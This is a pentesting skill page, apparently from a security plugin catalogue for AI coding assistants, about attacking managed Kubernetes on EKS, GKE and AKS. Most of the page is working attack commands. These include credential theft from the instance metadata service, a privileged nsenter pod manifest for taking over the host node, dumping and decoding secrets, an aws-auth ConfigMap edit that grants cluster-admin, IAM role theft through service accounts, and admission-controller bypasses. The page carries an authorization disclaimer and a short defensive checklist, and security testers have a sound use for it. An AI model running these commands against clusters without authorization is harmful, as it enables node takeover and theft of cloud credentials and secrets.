secskills
secskills / offense / attacking-eks-gke-aks

attacking-eks-gke-aks

offense verified 2026-07-27

Assess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces.

$ /plugin install secskills-offense $ /plugin install secskills-core

Managed Kubernetes is a special target because it operates across two independent authorization planes: the cloud provider's IAM layer and Kubernetes' own RBAC layer. Each plane has its own identities, policies, and trust boundaries. The escalation paths live at the seams -- where a Kubernetes service account maps to a cloud IAM role, where a pod inherits a node's cloud credentials via the instance metadata service, or where a cluster-admin binding was granted through a cloud identity mapping that nobody audits. An attacker who understands only one plane misses the paths that cross into the other.

Only against systems you are authorized to test.

When to Use

When NOT to Use

use exploiting-containers

exploiting-cloud-platforms

defending-kubernetes

exploiting-ssrf

engineering-detections

Cluster Discovery and Unauthenticated Access

# Discover clusters
aws eks list-clusters --region us-east-1        # EKS
gcloud container clusters list                   # GKE
az aks list                                      # AKS

# Unauthenticated API server check
curl -k https://<api-server>:443/api/v1/namespaces
curl -k https://<api-server>:443/version

# Anonymous RBAC check -- system:anonymous may have bindings
kubectl auth can-i --list --as=system:anonymous

# Kubelet read-only port (10255) -- often disabled, worth checking
curl http://<node-ip>:10255/pods

If the API server returns resources to unauthenticated requests, the cluster has anonymous auth or a misconfigured binding on system:unauthenticated.

RBAC Enumeration

# What can the current identity do?
kubectl auth can-i --list
kubectl auth can-i --list --namespace kube-system

# Check for cluster-admin bindings
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") |
  {name: .metadata.name, subjects: .subjects}'

# Examine a service account token (JWT)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Find overprivileged roles (wildcard on both resources and verbs)
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]? | .resources[]? == "*" and .verbs[]? == "*") |
  .metadata.name'

# Who can create pods? Who can read secrets?
kubectl auth can-i create pods --as=system:serviceaccount:NAMESPACE:SA_NAME
kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:NAMESPACE:SA_NAME

Any non-system binding to cluster-admin is a finding. Cloud provider system components sometimes hold cluster-admin legitimately; distinguish those from human or workload bindings.

Pod-to-Cloud Escalation

EKS: IMDS from Pods

# IMDSv1 -- single unauthenticated GET from any pod (unless blocked)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# IMDSv2 -- EKS sets default hop limit to 1 on Nitro instances, which blocks
# IMDSv2 from pods (extra network hop decrements TTL to 0). If hop limit >= 2:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# Credentials returned are the EC2 node role, not the pod's IRSA role.
aws sts get-caller-identity  # confirm which role you hold

GKE: Metadata from Pods

# GKE metadata server -- requires Metadata-Flavor header
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# With Workload Identity: metadata server returns a token scoped to the k8s
# SA's bound GCP SA. Without it: every pod gets the node pool's GCP SA creds.

AKS: Pod Identity and IMDS

# Azure IMDS from a pod
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Pod identity (deprecated but still deployed): NMI daemonset assigns managed
# identities. If misconfigured, pods request tokens for any identity on node.
# Workload Identity (current): projected SA token exchanged for AAD token.
env | grep -i azure
cat $AZURE_FEDERATED_TOKEN_FILE 2>/dev/null

Node Compromise Paths

# Privileged pod -- full host access
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: shell
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: hostfs
      mountPath: /host
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/bash"]
  volumes:
  - name: hostfs
    hostPath:
      path: /
# If you can create pods, deploy the above and you own the node.
# From the node, access IMDS, kubelet credentials, and other pods.

# hostPath mount without full privilege -- still dangerous
# Mount /etc, /var/lib/kubelet, or /var/run/docker.sock

# hostPID -- see host processes, ptrace, /proc/1/root
ls /proc/1/root/etc/shadow

# hostNetwork -- access services bound to the node's loopback
# including the kubelet API on 10250
curl -k https://127.0.0.1:10250/pods

# Check what the kubelet certificate can do
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
  https://<api-server>/api/v1/nodes

Secrets Enumeration

# Decode secrets in current namespace
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] |
  "\(.key): \(.value | @base64d)"'

# All namespaces (requires cluster-wide read)
kubectl get secrets --all-namespaces -o json | jq -r '.items[] |
  "\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'

# Which pods mount secrets?
kubectl get pods --all-namespaces -o json | jq -r '.items[] |
  select(.spec.volumes[]?.secret) |
  "\(.metadata.namespace)/\(.metadata.name): \([.spec.volumes[] |
  select(.secret) | .secret.secretName])"'

# etcd -- managed providers do not expose it directly. If you find an
# endpoint (self-managed or misconfigured):
ETCDCTL_API=3 etcdctl --endpoints=https://<etcd>:2379 \
  --cert=/path/to/cert --key=/path/to/key --cacert=/path/to/ca \
  get /registry/secrets --prefix --keys-only

Cloud-Specific Attack Paths

EKS

# aws-auth ConfigMap -- maps IAM roles/users to k8s RBAC
kubectl get configmap aws-auth -n kube-system -o yaml
# If you can edit this ConfigMap, you can grant any IAM role cluster-admin.
# This is the single most important escalation path in EKS.
kubectl edit configmap aws-auth -n kube-system

# IRSA (IAM Roles for Service Accounts) -- OIDC trust abuse
# Each EKS cluster has an OIDC provider. Service accounts annotated with
# eks.amazonaws.com/role-arn get temporary credentials for that IAM role.
# The IAM role's trust policy should restrict by namespace and SA name.
# If the trust policy uses a wildcard or missing condition:
aws iam get-role --role-name ROLE_NAME | jq '.Role.AssumeRolePolicyDocument'
# Look for:
#   "StringEquals": { "<oidc>:sub": "system:serviceaccount:*:*" }  <-- BAD
#   "StringLike" with a broad pattern                                <-- BAD
# A properly scoped trust policy restricts to one namespace:SA pair.

# Create a pod with the target SA to assume the role
kubectl run steal --image=amazon/aws-cli \
  --overrides='{"spec":{"serviceAccountName":"TARGET_SA"}}' \
  -- sleep 3600
kubectl exec -it steal -- aws sts get-caller-identity

# EKS access entries (newer alternative to aws-auth)
aws eks list-access-entries --cluster-name CLUSTER
aws eks describe-access-entry --cluster-name CLUSTER \
  --principal-arn arn:aws:iam::ACCOUNT:role/ROLE

GKE

# Node pool service account -- if not using Workload Identity, every pod
# on the node inherits the node pool's GCP service account. The default
# compute SA often has Editor on the project.
gcloud container node-pools describe POOL --cluster CLUSTER --zone ZONE \
  --format="value(config.serviceAccount)"

# Check the SA's IAM bindings
gcloud projects get-iam-policy PROJECT --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="value(bindings.role)"

# Workload Identity Federation -- k8s SA to GCP SA mapping
gcloud iam service-accounts get-iam-policy SA_EMAIL \
  --format=json | jq '.bindings[] |
  select(.role=="roles/iam.workloadIdentityUser")'

# If the GCP SA has iam.serviceAccountTokenCreator on other SAs,
# you can impersonate them:
gcloud auth print-access-token --impersonate-service-account=TARGET_SA_EMAIL

# GKE metadata concealment (legacy) -- hides some metadata paths but
# does not prevent token retrieval. Workload Identity is the real fix.

AKS

# AAD integration -- AKS can use Azure AD for authentication
az aks show --resource-group RG --name CLUSTER \
  --query "aadProfile" -o json

# Kubelet identity -- the managed identity assigned to the VMSS nodes
az aks show --resource-group RG --name CLUSTER \
  --query "identityProfile.kubeletidentity" -o json
# If this identity has broad Azure RBAC, any pod reaching IMDS gets those
# permissions (unless using Workload Identity to scope access).

# AKS Workload Identity -- check for federated credential bindings
az identity federated-credential list \
  --identity-name IDENTITY --resource-group RG

# AKS managed AAD -- check cluster admin group membership
az aks show --resource-group RG --name CLUSTER \
  --query "aadProfile.adminGroupObjectIDs"

Network Policy Assessment

# Are any NetworkPolicies defined?
kubectl get networkpolicies --all-namespaces

# If none exist, all pods can talk to all other pods across all namespaces.
# This is the default in every managed k8s offering.

# Check which CNI is installed (determines enforcement)
kubectl get pods -n kube-system | grep -E 'calico|cilium|weave|canal|azure-cni'
# EKS: VPC CNI by default (no network policy enforcement without Calico/Cilium addon)
# GKE: Dataplane V2 (Cilium-based, enforces policies when enabled)
# AKS: Azure CNI or kubenet (network policy requires Calico or Azure NPM addon)

# Test cross-namespace connectivity
kubectl run test --image=busybox --rm -it --restart=Never -- \
  wget -qO- --timeout=3 http://SERVICE.OTHER_NAMESPACE.svc.cluster.local

# Test pod-to-IMDS (should be blocked by network policy in hardened clusters)
kubectl run test --image=busybox --rm -it --restart=Never -- \
  wget -qO- --timeout=3 http://169.254.169.254/

Without a CNI that supports network policies, defining NetworkPolicy resources has no effect. The policies exist in the API but are not enforced. This is a common misunderstanding.

Admission Controller Bypass

# List admission webhooks
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# Check if Pod Security Admission (PSA) is configured
kubectl get namespaces -o json | jq '.items[] |
  {name: .metadata.name, labels: .metadata.labels |
  with_entries(select(.key | startswith("pod-security")))}'

# Common bypasses:
# 1. Create resources in a namespace without PSA labels
# 2. Use ephemeral containers (kubectl debug) -- some controllers miss these
kubectl debug node/NODE_NAME -it --image=alpine

# 3. Modify existing deployments instead of creating new pods
# 4. Use CronJobs or Jobs -- some webhooks only match Pod creates
# 5. Target the webhook's failurePolicy: if set to Ignore, disabling the
#    webhook service (or its DNS) allows all requests through
kubectl get validatingwebhookconfigurations -o json | \
  jq '.items[] | {name: .metadata.name,
  failurePolicy: .webhooks[].failurePolicy}'

# 6. Check namespaceSelector -- webhooks often exclude kube-system
kubectl get validatingwebhookconfigurations -o json | \
  jq '.items[].webhooks[] | {name: .name,
  namespaceSelector: .namespaceSelector}'

Defensive Review Checklist

Rationalizations to Reject

plane is managed; RBAC bindings, workload identity, and network policies are not. Most cluster compromises come from misconfigured tenancy, not from attacking the managed API server itself.

Confirm the actual hop limit; if it was raised for any reason, pods reach IMDSv2 just fine. And IMDSv1 may still be enabled alongside it.

supports them. EKS with the default VPC CNI and no Calico/Cilium addon ignores all NetworkPolicy resources silently.

service account in every namespace. If automountServiceAccountToken is true (the default), every pod mounts a token. Even a token with minimal RBAC can list pods and services -- enough for lateral movement recon.

trust policy is properly restricted. A wildcard or missing sub condition in the OIDC trust lets any service account in the cluster assume the role.

still processes requests from within the VPC. Any pod compromise, SSRF, or VPN access puts the attacker on the internal network.

share IAM roles, VPC peering, and image registries with production. Escalation paths from dev to prod through shared cloud identity are common.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Execution (TA0002)

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

privileged container breakout techniques

escalation once you hold cloud credentials from a pod

from inside a pod

patterns described here